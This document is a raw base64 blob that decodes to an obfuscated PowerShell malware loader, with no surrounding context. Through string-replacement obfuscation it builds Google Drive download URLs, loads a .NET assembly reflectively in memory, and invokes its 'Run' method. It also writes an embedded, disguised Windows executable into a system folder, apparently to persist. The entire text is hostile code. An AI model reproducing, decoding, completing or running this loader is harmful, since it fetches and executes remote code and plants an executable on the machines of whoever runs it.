bQBtAG4AdgBtAHcAbgBsAEIAQwBYAFgAQgBOAE0AOQAwADYANAAwAE4ATQBCAE0AbgBiAG0AbQBuAHYAbQBhAGQAUwB0AGsAawA1ADYANAA4ADMAMgAxADkAOABRAFcAWQBZAEoAeQBqAFkAdwBxAE4AQgBjAEcAJwAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcAQgBDAFgAWABCAE4ATQA5ADAANgA0ADAATgBNAEIATQBuAGIAbQBtAG4AdgBtACcALAAgACcAbwAnACkALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnAGsAawA1ADYANAA4ADMAMgAxADkAOABRAFcAWQBZAEoAeQBqAFkAdwBxAE4AQgBjACcALAAgACcAcgBpAG4AJwApACkAKAAnAGgASABIAEgARAA4ADcASAB1AHMAZgB1AGkAaQA3ADgAdQBpAHgAZgBzAGQASABIAEgARAA4ADcASAB1AHMAZgB1AGkAaQA3ADgAdQBpAHgAZgBzAGQAcABzADoALwAvAGQAcgBpAHYASQBVAFIAYQB1AGMAOAAyAHcAaQBzAGYAbwAuAGcAbwBvAGcAbQBuAG4AeABjAHYAeABOAE4AYwB4AGoAZABoAGgASQBVAFIAYQB1AGMAOAAyAHcAaQBzAGYAbwAuAGMAbwBtAC8AdQBjAD8ASQBVAFIAYQB1AGMAOAAyAHcAaQBzAGYAbwB4AHAAbwByAEgASABIAEQAOAA3AEgAdQBzAGYAdQBpAGkANwA4AHUAaQB4AGYAcwBkAD0AZABvAHcAbgBtAG4AbgB4AGMAdgB4AE4ATgBjAHgAagBkAGgAaABvAGEAZAAmAGkAZAA9ADEAYQBzAGEAZABIAEgASABEADgANwBIAHUAcwBmAHUAaQBpADcAOAB1AGkAeABmAHMAZAAtAF8ASgA0AHAAbQBuAG4AeABjAHYAeABOAE4AYwB4AGoAZABoAGgARgBRAEEAbQA0ADUASABIAEgARAA4ADcASAB1AHMAZgB1AGkAaQA3ADgAdQBpAHgAZgBzAGQAaABXAHYAeABmAC0AQwBJAHcAWgBvAHYATABOACcALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnAEkAVQBSAGEAdQBjADgAMgB3AGkAcwBmAG8AJwAsACAAJwBlACcAKQAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcASABIAEgARAA4ADcASAB1AHMAZgB1AGkAaQA3ADgAdQBpAHgAZgBzAGQAJwAsACAAJwB0ACcAKQAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcAbQBuAG4AeABjAHYAeABOAE4AYwB4AGoAZABoAGgAJwAsACAAJwBsACcAKQApAC0AcgBlAHAAbABhAGMAZQAoACcAQAAnACwAJwBBACcAKQAtAHIAZQBwAGwAYQBjAGUAKAAnACMAJwAsACcAVAAnACkAKQA7AFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgAoACcAYwB1AHIAcgBaAFgAQgA5ADkANQA0ADYAOQAwAGwAbgBiAHkAdAB5AHEAMgBxAHcAeAAzAHgAbgB0AEQAaQBpADMANQA0ADMAdgBiAGMAbQBCAFgAWgBJAHEAUQBEAFMAZABzAGkAcgBtAGEAaQBuACcALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnAFoAWABCADkAOQA1ADQANgA5ADAAbABuAGIAeQB0AHkAcQAyAHEAdwB4ADMAeAAnACwAIAAnAGUAJwApAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwBpAGkAMwA1ADQAMwB2AGIAYwBtAEIAWABaAEkAcQBRAEQAUwBkAHMAaQByACcALAAgACcAbwAnACkAKQAuACgAJwBsAGkAaQAzADUANAAzAHYAYgBjAG0AQgBYAFoASQBxAFEARABTAGQAcwBpAHIAYQBkACcALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnAGkAaQAzADUANAAzAHYAYgBjAG0AQgBYAFoASQBxAFEARABTAGQAcwBpAHIAJwAsACAAJwBvACcAKQApACgAYAAkAFAATABBACkALgAoACcAZwBSAFEAVwA3ADQAMwA4AEIAdQB2AHcAWgA5ADQAbQBLAGMAcAB0AHQAeQBQAFIAUQBXADcANAAzADgAQgB1AHYAdwBaADkANABtAEsAYwBwACcALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnAFIAUQBXADcANAAzADgAQgB1AHYAdwBaADkANABtAEsAYwBwACcALAAgACcAZQAnACkAKQAoACcAQwBsAEwAUABPADkAagBiAHYAOQBNAE4AbwBpAHMAcwBMAGkAYgByAEwAUABPADkAagBiAHYAOQBNAE4AbwBpAHIAeQAzAC4AQwBsAEwAUABPADkAagBiAHYAOQBNAE4AbwBpAHMAcwAxACcALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnAEwAUABPADkAagBiAHYAOQBNAE4AbwBpACcALAAgACcAYQAnACkAKQAuACgAJwBnAEsAOQA0ADgAMwA0AHkAdABTAFMAdwA3ADgAMgAxAFoAWgB6AFkANAAzAHcAdABNAEsAOQA0ADgAMwA0AHkAdABTAFMAdwA3ADgAMgAxAFoAWgB6AFkANAAzAHcAdABoAE8ARAAnAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwBLADkANAA4ADMANAB5AHQAUwBTAHcANwA4ADIAMQBaAFoAegBZADQAMwB3ACcALAAgACcAZQAnACkAKQAoACcAUgB1AG4AJwApAC4AKAAnAEIAdQAzADkAOAA5AFAAUABaADIAOQA0ADkAVABSAFEAcwBvAGsAZQAnAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwBCAHUAMwA5ADgAOQBQAFAAWgAyADkANAA5AFQAUgBRAHMAJwAsACAAJwBpAE4AdgAnACkAKQAoAGAAJABuAHUAbABsACwAWwBvAGIAagBlAGMAdABbAF0AXQAoACcAYQBNAHEAQgBVAF8AYgBBAEoAWgByAGcAdABRADkAcgBMADkAVwBmAGcATwBWAEYAcAAwADAAOQAwADMAMgBaAG0AawBLAGcAZgBDAHgAdwBqAHQAYgBEADEAPQBkAFAAMwA0ADIAOABaAHYAYwB4AFgAdwBXAHEAdwBXACYAZABhAHAAMAAwADkAMAAzADIAWgBtAGsASwBnAGYAbABuAHcAcAAwADAAOQAwADMAMgBaAG0AawBLAGcAZgBkAD0AdAByAHAAMAAwADkAMAAzADIAWgBtAGsASwBnAGYAcAB4AEIAQwBYAFgAQgBOAE0AOQAwADYANAAwAE4APwBjAHUALwBtAHAAMAAwADkAMAAzADIAWgBtAGsASwBnAGYAYwAuAEIAQwBYAFgAQgBOAE0AOQAwADYANAAwAE4AbABnAHAAMAAwADkAMAAzADIAWgBtAGsASwBnAGYAcAAwADAAOQAwADMAMgBaAG0AawBLAGcAZgBnAC4AQgBDAFgAWABCAE4ATQA5ADAANgA0ADAATgB2AFAAMwA0ADIAOABaAHYAYwB4AFgAdwBXAHEAdwBXAHIAZAA1ADMAMgBCAHQAeQA1ADIAMQBRAHgAegBiAHYAaAB5AGcAQgB0AGgAJwAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcANQAzADIAQgB0AHkANQAyADEAUQB4AHoAYgB2AGgAeQBnAEIAJwAsACAAJwAvAC8AOgBzAHAAdAAnACkALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnAEIAQwBYAFgAQgBOAE0AOQAwADYANAAwAE4AJwAsACAAJwBlACcAKQAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcAcAAwADAAOQAwADMAMgBaAG0AawBLAGcAZgAnACwAIAAnAG8AJwApAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwBQADMANAAyADgAWgB2AGMAeABYAHcAVwBxAHcAVwAnACwAIAAnAGkAJwApACkAKQB9AH0AYwBhAHQAYwBoAHsAcwBsAGUAZQBwACAALQBzACAAMwAwADAAfQB9AHMAbABlAGUAcAAgAC0AcwAgADMAIgB9ADsAJABwAGUAcgBzAGkAZABhAD0AKAAnADYANQA0ADYAMwA0ADcANQA3ADQANwA1ADQANwA0AG4AZAB0AFkAMQBjADQAMgA5AEIAbQBOAEIAUgAwADMAagA0AHcAcwBcAFMAeQBzAHQAYwAwADUAeABQADUANwA1AG4AUQA0ADUATQB4AHgAbQBJAGQAbABjADAANQB4AFAANQA3ADUAbgBRADQANQBNAHgAeAAuAFMAeQBzAHQAYwAwADUAeABQADUANwA1AG4AUQA0ADUATQB4AHgAbQBJAGQAbABjADAANQB4AFAANQA3ADUAbgBRADQANQBNAHgAeAAnAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwBjADAANQB4AFAANQA3ADUAbgBRADQANQBNAHgAeAAnACwAIAAnAGUAJwApAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwB0AFkAMQBjADQAMgA5AEIAbQBOAEIAUgAwADMAagA0ACcALAAgACcAbwAnACkALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnADYANQA0ADYAMwA0ADcANQA3ADQANwA1ADQANwA0ACcALAAgACcAQwA6AFwAVwBpACcAKQApADsAaQBmACAAKAAhACgAJgAoACcAVAAnACsAJwBlAHMAdAAtAFAAYQBUACcAKwAnAGgAJwApACAAJABwAGUAcgBzAGkAZABhACkAKQB7AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6ACgAJwBXAHIAaQB0AGMAMAA1AHgAUAA1ADcANQBuAFEANAA1AE0AeAB4AEEAbABsAEIAeQB0AGMAMAA1AHgAUAA1ADcANQBuAFEANAA1AE0AeAB4AHMAJwAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcAYwAwADUAeABQADUANwA1AG4AUQA0ADUATQB4AHgAJwAsACAAJwBlACcAKQApACgAJABwAGUAcgBzAGkAZABhACwAIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgAoACcARgByAHQAWQAxAGMANAAyADkAQgBtAE4AQgBSADAAMwBqADQAbQBCAGEAcwB3ADIARABZADgAdQBsADQAZABWAHMAcQBWAHAANAAwAGkAbgBnACcALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnAHQAWQAxAGMANAAyADkAQgBtAE4AQgBSADAAMwBqADQAJwAsACAAJwBvACcAKQAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcAdwAyAEQAWQA4AHUAbAA0AGQAVgBzAHEAVgBwADQAMAAnACwAIAAnAGUANgA0AFMAdAByACcAKQApACgAJwAUAVYAcQBRAIkBiQFNAIkBiQGJAYkBRQCJAYkBiQGJAS8ALwA4AIkBiQFMAGcAiQGJAYkBiQGJAYkBiQGJAYkBUQCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBZwCJAYkBiQGJAYkBNABmAHUAZwA0AIkBdACJAW4ATgBJAGIAZwBCABQBTQAwAGgAVgBHAGgAcABjAHkAQgB3AGMAbQA5AG4AYwBtAEYAdABJAEcATgBoAGIAbQA1AHYAZABDAEIAaQBaAFMAQgB5AGQAVwA0AGcAYQBXADQAZwBSAEUAOQAUAUkARwAxAHYAWgBHAFUAdQBEAFEAMABLAEoAiQGJAYkBiQGJAYkBiQGJAYkBQgBRAFIAUQCJAYkBFAGJAUUARACJAUUAZABFAGgARwBRAIkBiQGJAYkBiQGJAYkBiQGJAYkBTwCJAYkBiQFnAEUATACJAVEAcwCJAYkBiQFvAIkBiQGJAYkBSQCJAYkBiQGJAYkBiQGJAYkBRABpAGcAiQGJAYkBiQFnAIkBiQGJAYkBUQCJAYkBiQGJAYkBQgCJAYkBiQGJAWcAiQGJAYkBiQGJAWcAiQGJAUIAiQGJAYkBiQGJAYkBiQGJAYkBiQFFAIkBiQGJAYkBiQGJAYkBiQGJAYkBQwCJAYkBiQGJAYkBiQFnAIkBiQGJAYkBiQGJAYkBiQFJAIkBUQBJAFUAiQGJAUIAiQGJAYkBQgCJAYkBiQGJAYkBiQFFAIkBiQGJAUUAiQGJAYkBiQGJAYkBiQGJAUIAiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBTABRAG4AiQGJAUIAWACJAYkBiQGJAYkBRQCJAYkBiQFJAGcARgCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAUcAiQGJAYkBiQF3AIkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAUkAiQGJAYkBQwCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQFDAEMAiQGJAYkBRQBnAIkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQFDADUAMABaAFgAaAAwAIkBiQGJAYkBRgCJAWcAiQGJAYkBiQFnAIkBiQGJAYkBQwBnAIkBiQGJAYkBSQCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQFDAIkBiQGJAUcAiQF1AGMAbgBOAHkAWQB3AIkBiQGJAUkAZwBGAIkBiQGJAYkBUQCJAYkBiQGJAYkBWQCJAYkBiQGJAU0AiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBQgCJAYkBiQFCAIkBTABuAEoAbABiAEcAOQBqAIkBiQGJAU0AiQGJAYkBiQGJAUcAiQGJAYkBiQGJAUMAiQGJAYkBiQFFAGcAiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBUQCJAYkBiQFRAGcAiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAUQAdwBKAHcAiQGJAYkBiQGJAYkBiQFFAGcAiQGJAYkBiQFDAIkBiQFVAIkBTgBDAEUAiQGJAUkAiQFHAIkBiQGJAUIAiQGJAYkBiQGJAVEAiQGJAUIAZwCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQFCAHMAdwCJAXcARABIAIkBiQGJAYkBiQFRAIkBiQFFAFEAiQFDAGoAbQBrAFgALwBnAEUAVwAvAGcARQAUAUIAaABFAEcATwByAE0AiQGJAYkBiQGJAYkBaABhAGEAQwBpAGcARQCJAYkBiQFLAEMAdwBkAHYAQgBRAIkBiQFDAGcAiQFIAGIAdwBZAIkBiQGJAW8ATQBDAEcAOABIAIkBiQGJAUsAQgBtADgASQCJAYkBiQFLAIkBiQFkAHYAQwBRAIkBiQFDAG4ASQBCAIkBiQFCAHcARgBZAHcASwCJAYkBiQFCAGIAdwBvAIkBiQGJAW8AiQFDAEcAOABIAIkBiQGJAUsAYwBpADgAiQGJAUgAQgB2AEMAdwCJAYkBQwBnAIkBSQBiAHcAdwCJAYkBiQFvAE4AQgAyADgATgCJAYkBiQFLAIkBSABNAE8AiQGJAYkBSwBFAHcAUQCJAUMAVwA4AFAAiQGJAYkBSwBFAHcAYwByAEcAaABFAEgAYgB4AIkBiQGJAYkBbwAUAUIAUQCJAVIAQgBCAEUARgBiAHgARQCJAYkBiQFwAHYARQBnAIkBiQFDAGkAWQCJAUUAUQBkAHYARQB3AIkBiQFDAGgATQBHAEUAUQBZAHQAMgBkADQAVQBFAFEAYwBVAC8AZwBFABQBQgBoAEUARwBMAFEAZwBSAEIAMgA4AFUAiQGJAYkBSwCJAU4AdwCJAUsAQgBVAIkBiQGJAW8AiQGJAUMAbwCJAYkBUgCJAYkBiQGJAUkAiQFmAHcAiQFyAHEAZwCJAVUAiQGJAYkBiQGJAUUASgAUAVMAawBJAEIAiQGJAUUAiQGJAYkBiQGJAYkBiQF3AIkBiQGJAUIAMgBOAEMANAB3AEwAagBNAHcATQB6AEUANQCJAYkBiQGJAYkBiQFVAIkBYgCJAYkBiQGJAU4AiQFCAIkBiQGJAWoAZgBnAIkBiQFQAIkBSQCJAYkBQwB3AEQAiQGJAYkBagBVADMAUgB5AGEAVwA1AG4AYwB3AIkBiQGJAYkBQgBvAEIAUQCJAYkBUwCJAYkBiQGJAUMATgBWAFUAdwBDAHcAQgBRAIkBiQFFAIkBiQGJAYkBQwBOAEgAVgBVAGwARQCJAYkBiQGJAXcAiQFVAIkBiQFNAIkBiQGJAYkBiQFqAFEAbQB4AHYAWQBnAIkBiQGJAYkBiQGJAYkBiQGJAUMAiQGJAYkBQgBSAHgAVQBDAEMAiQFrAIkBiQGJAYkBiQErAGkAVQB6AIkBQgBZAIkBiQGJAUUAiQGJAYkBiQFSAIkBiQGJAYkBiQFnAIkBiQGJAYkBRQCJAYkBiQGJAUIAiQGJAYkBiQFGAFEAiQGJAYkBiQFNAIkBiQGJAYkBQgCJAYkBiQGJAYkBZwCJAYkBiQGJAUUAiQGJAYkBiQFEAIkBiQGJAYkBiQGJAYkBSwCJAYkBRQCJAYkBiQGJAYkBiQGJAVkAiQFiAIkBQgBsAIkBiQFZAIkBbgBRAEIAOQCJAYkBWQCJAXcAdwBCADkAiQGJAVkAiQFGAIkBRgBsAIkBiQFvAIkBYQB3AEYARQCJAVEAbwCJAWUAdwBGAEUAiQFRAG8AiQFtAIkBRgBFAIkBUQBvAIkBcwCJAUYARQCJAVEAbwCJATIAUQBGAEUAiQFRAFkAiQGJAVEASgBsAIkBiQFZAIkBTgBnAEkAWACJAWcAbwCJAVEAdwBJAG4AiQFRAFkAiQFaAFEASgBaAIkBZwBZAIkBagBnAEoAegCJAWcAWQCJATMAUQBMAEsAiQFnAFkAiQE4AGcASgBsAIkBiQE0AIkBRwB3AE0ARwCJAXcAiQGJAYkBiQGJAUIAiQGJAYkBiQGJAYkBiQFCAIkBiQFFAIkBZwCJAUUAUQCJAUUARQCJAVMAUQCJAUYAiQGJAUUAiQGJAVEAQgBRAEkAiQGJAYkBiQGJAUMAUgCJAUgATQCJAUMAZwCJAUIAiQGJAYkBiQGJAVEAQgA0AIkBQgBFAIkBdgBRAIkBUQCJAUIAawCJAXYAUQCJAVYAiQFDAEUAiQF2AFEAiQFWAIkBQwBrAIkBaACJAUUAbgCJAUQARQCJAWsAdwBFAFYAiQFEAEUAiQFvAFEARQBzAIkBRABrAIkBdwBnAEUAeACJAUUARQCJAXoAdwBFADIAiQFEAEUAiQE2AHcARQA3AIkBRQBrAIkBQgB3AEoAiQGJAUUARQCJAUUAdwBJADIAiQFEAGsAiQEUAYkBSgBHAIkBRABFAIkBVQB3AEkAVgCJAUcAawCJAXYAUQCJAVYAiQGJAXcAiQFuAIkBSgBXAIkBQgBRAIkBcQBnAEoAbQCJAYkBawCJAXQAZwBKAHIAiQFHAGsAiQF2AHcASgB2AIkBSABrAIkBNgBRAEoAMQCJAUkARQCJAS8AZwBJAFYAiQFJAGsAiQFKAHcATgA1AIkBQwCJAYkBRwB3AIkBWgCJAUMANACJAUMAdwBDAFcAiQFDADQAiQFFAHcAQwBmAIkBSAAwAIkBFAF3AEIAZgCJAYkBUwCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAU8ARQCJAYkBiQGJAUUAiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBQgCJAUYAdwCJAYkBiQGJAYkBiQGJAU0AiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAUIANACJAUoAdwBFAIkBiQGJAYkBiQFCAIkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBUQCJAUcAiQF3AIkBiQGJAYkBiQGJAYkBiQGJAYkBiQFEAHgATgBiADIAUgAxAGIARwBVACsAiQFHAGcAMgBNAFUASgBXAGUAVwAxAGkAYwBHAHAAbQBZAHoAUgBPAGMAegBkAFcATgBYAEYARgBiADMAWgBqAFoAagBoAHYAVgBrADQAMwAUAWoAVgBWAGMAVQBkADAATQBYAEIATwBaAEcAawAzAFIAagBFADQAUwBIAEoAaABjADAAeAB3AEwAbQBWADQAWgBRAEIAUQBjAG0AOQBuAGMAbQBGAHQAiQFFAEoAcgBaAEcAZAB6AE4AMQBVAHkATwBEAGwAcQBhAEYATgBHAFoAMwBOAGsAYQCJAUIAdABjADIATgB2AGMAbQB4AHAAWQBnAEIAFAFlAFgATgAwAFoAVwAwAIkBFAEyAEoAcQBaAFcATgAwAIkBRQAxAGgAYQBXADQAiQFZAFgASgBuAGMAdwBCABQBZQBYAE4AMABaAFcAMAB1AFUAbgBWAHUAZABHAGwAdABaAFMANQBEAGIAMgAxAHcAYQBXAHgAbABjAGwATgBsAGMAbgBaAHAAWQAyAFYAegCJAUUATgB2AGIAWABCAHAAYgBHAEYAMABhAFcAOQB1AFUAbQBWAHMAWQBYAGgAaABkAEcAbAB2AGIAbgBOAEIAZABIAFIAeQBhAFcASgAxAGQARwBVAIkBTABtAE4AMABiADMASQCJAVUAbgBWAHUAZABHAGwAdABaAFUATgB2AGIAWABCAGgAZABHAGwAaQBhAFcAeABwAGQASABsAEIAZABIAFIAeQBhAFcASgAxAGQARwBVAIkBYQBEAFkAeABRAGwAWgA1AGIAVwBKAHcAYQBtAFoAagBOAEUANQB6AE4AMQBZADEAYwBVAFYAdgBkAG0ATgBtAE8ARwA5AFcAFAFqAGQATwBOAFYAVgB4AFIAMwBRAHgAYwBFADUAawBhABQBZABHAE0AFAFoAEkAYwBtAEYAegAUAUgAiQGJAVUAMQBSAEIAVgBHAGgAeQBaAFcARgBrAFEAWABSADAAYwBtAGwAaQBkAFgAUgBsAIkBRgBOADUAYwAzAFIAbABiAFMANQBOAFkAVwA1AGgAWgAyAFYAdABaAFcANQAwAEwAawBGADEAZABHADkAdABZAFgAUgBwAGIAMgA0AIkBVQAzAGwAegBkAEcAVgB0AEwAawAxAGgAYgBtAEYAbgBaAFcAMQBsAGIAbgBRAHUAUQBYAFYAMABiADIAMQBoAGQARwBsAHYAYgBpADUAUwBkAFcANQB6AGMARwBGAGoAWgBYAE0AiQFVAG4AVgB1AGMAMwBCAGgAWQAyAFYARwBZAFcATgAwAGIAMwBKADUAiQFGAEoAMQBiAG4ATgB3AFkAVwBOAGwAiQFFAE4AeQBaAFcARgAwAFoAVgBKADEAYgBuAE4AdwBZAFcATgBsAIkBRQA5AHcAWgBXADQAiQFVAEcAbAB3AFoAVwB4AHAAYgBtAFUAiQFRADMASgBsAFkAWABSAGwAVQBHAGwAdwBaAFcAeABwAGIAbQBVAIkBUQAyADkAdABiAFcARgB1AFoARQBOAHYAYgBHAHgAbABZADMAUgBwAGIAMgA0AIkBWgAyAFYAMABYADAATgB2AGIAVwAxAGgAYgBtAFIAegCJAUUARgBrAFoARgBOAGoAYwBtAGwAdwBkAIkBQgAUAVoAWABOAHoAYQBXADkAdQBVADMAUgBoAGQARwBWAFEAYwBtADkANABlAFEAQgBuAFoAWABSAGYAVQAyAFYAegBjADIAbAB2AGIAbABOADAAWQBYAFIAbABVAEgASgB2AGUASABrAIkBUwBXADUAMABNAHoASQCJAVUAMgBWADAAVgBtAEYAeQBhAFcARgBpAGIARwBVAIkBUQBXAFIAawCJAUYATgA1AGMAMwBSAGwAYgBTADUARABiADIAeABzAFoAVwBOADAAYQBXADkAdQBjAHkANQBQAFkAbQBwAGwAWQAzAFIATgBiADIAUgBsAGIAiQFCAEQAYgAyAHgAcwBaAFcATgAwAGEAVwA5AHUAWQBEAEUAiQFVAEYATgBQAFkAbQBwAGwAWQAzAFEAiQFTAFcANQAyAGIAMgB0AGwAiQFFAE4AcwBiADMATgBsAIkBRgBOADUAYwAzAFIAbABiAFMANQBVAFoAWABoADAAiQFGAE4AMABjAG0AbAB1AFoAMABKADEAYQBXAHgAawBaAFgASQCJAVUAMwBsAHoAZABHAFYAdABMAGsATgB2AGIARwB4AGwAWQAzAFIAcABiADIANQB6AEwAawBkAGwAYgBtAFYAeQBhAFcATQCJAVMAVQBWAHUAZABXADEAbABjAG0ARgAwAGIAMwBKAGcATQBRAEIASABaAFgAUgBGAGIAbgBWAHQAWgBYAEoAaABkAEcAOQB5AIkBRwBkAGwAZABGADkARABkAFgASgB5AFoAVwA1ADAAiQFGAFIAdgBVADMAUgB5AGEAVwA1AG4AiQFFAEYAdwBjAEcAVgB1AFoARQB4AHAAYgBtAFUAiQFVADMAbAB6AGQARwBWAHQATABrAE4AdgBiAEcAeABsAFkAMwBSAHAAYgAyADUAegCJAUUAbABGAGIAbgBWAHQAWgBYAEoAaABkAEcAOQB5AIkBRQAxAHYAZABtAFYATwBaAFgAaAAwAIkBRQBsAEUAYQBYAE4AdwBiADMATgBoAFkAbQB4AGwAiQFFAFIAcABjADMAQgB2AGMAMgBVAIkBVQAzAGwAegBkAEcAVgB0AEwAbABkAHAAYgBtAFIAdgBkADMATQB1AFIAbQA5AHkAYgBYAE0AiQFRAFgAQgB3AGIARwBsAGoAWQBYAFIAcABiADIANACJAVIAWABoAHAAZACJAYkBiQFMAFUAWQCJAWIAdwBCAHkAiQFHADAAiQFZAFEAQgAwAIkBRQBVAIkBYgBnAEIAMQCJAUcAMACJAVoAUQBCAHkAiQFHAEUAiQFkAIkBQgBwAIkBRwA4AIkBYgBnAEIATQCJAUcAawCJAWIAUQBCAHAAiQFIAFEAiQGJAUIAVgBQAIkBSABVAIkBZACJAYkBdACJAUYATQCJAWQAiQFCAHkAiQFHAGsAiQFiAGcAQgBuAIkBiQFFAIkBiQGJAYkBVwBvAGgAcgBIAFkAMwB0ADEAUgBxAGgAOQBTAGwANwBZAFcARgBhADYAiQGJAWkAMwBlAGwAeABXAEcAFAEUAWcAaQBRAFUAiQGJAVEARQBkAEQAZwBRAGcAiQFRAEUASQCJAXkAiQGJAYkBUQBRAEIAiQGJAYkBiQFDAEQARwAvAE8ARgBhAHQATgBrADQAMQBCAIkBiQGJAUUAaABrAEUASQCJAYkBUwBIAFEAUQBnAIkBQgBJAGgAQgBDAIkBQgCJAVEANABFAEkAiQGJAVMASgBRAFUAZwCJAWcARQBPAEgAiQFnAGcAiQFCAFUAUwBMAFEARQBTAE0AUQBZAFYARQBpADAAQgBFAGoARQBJAEkAiQGJAVYARQBqAGsAQgBFAHcAiQFHAEYAUgBJADUAiQFSAEkAeABCAEMAiQGJAUUAdwCJAUQASQCJAYkBTwBCAFMAiQFCAEUAagBVAE8AiQF5AIkBiQGJAWcATQCJAYkBiQFFAFkAQgB3AGcATwBFAGgAawBTAEgAUgBVAFMATABRAEUAUwBNAFIASQAxAEUAagBFAEMARgBSAEkANQCJAVIASQB4AEMAiQFFAIkBQwCJAYkBiQGJAYkBiQGJAUgAZwBFAIkBiQFRAEIAVQCJAWgAWgBYAGMAbQBGAHcAFAFtADkAdQBSAFgAaABqAFoAWABCADAAYQBXADkAdQBWAEcAaAB5AGIAMwBkAHoAiQFRAIkBiQEzAEMAYwCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAS8AaQBjAIkBiQGJAYkBZwCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBUACJAW4AiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAUIAZgBRADIAOQB5AFIAWABoAGwAFAFXAEYAcABiAGcAQgB0AGMAMgBOAHYAYwBtAFYAbABMAG0AUgBzAGIAiQGJAYkBiQGJAYkBiQEvAHkAVQCJAUkARQCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAY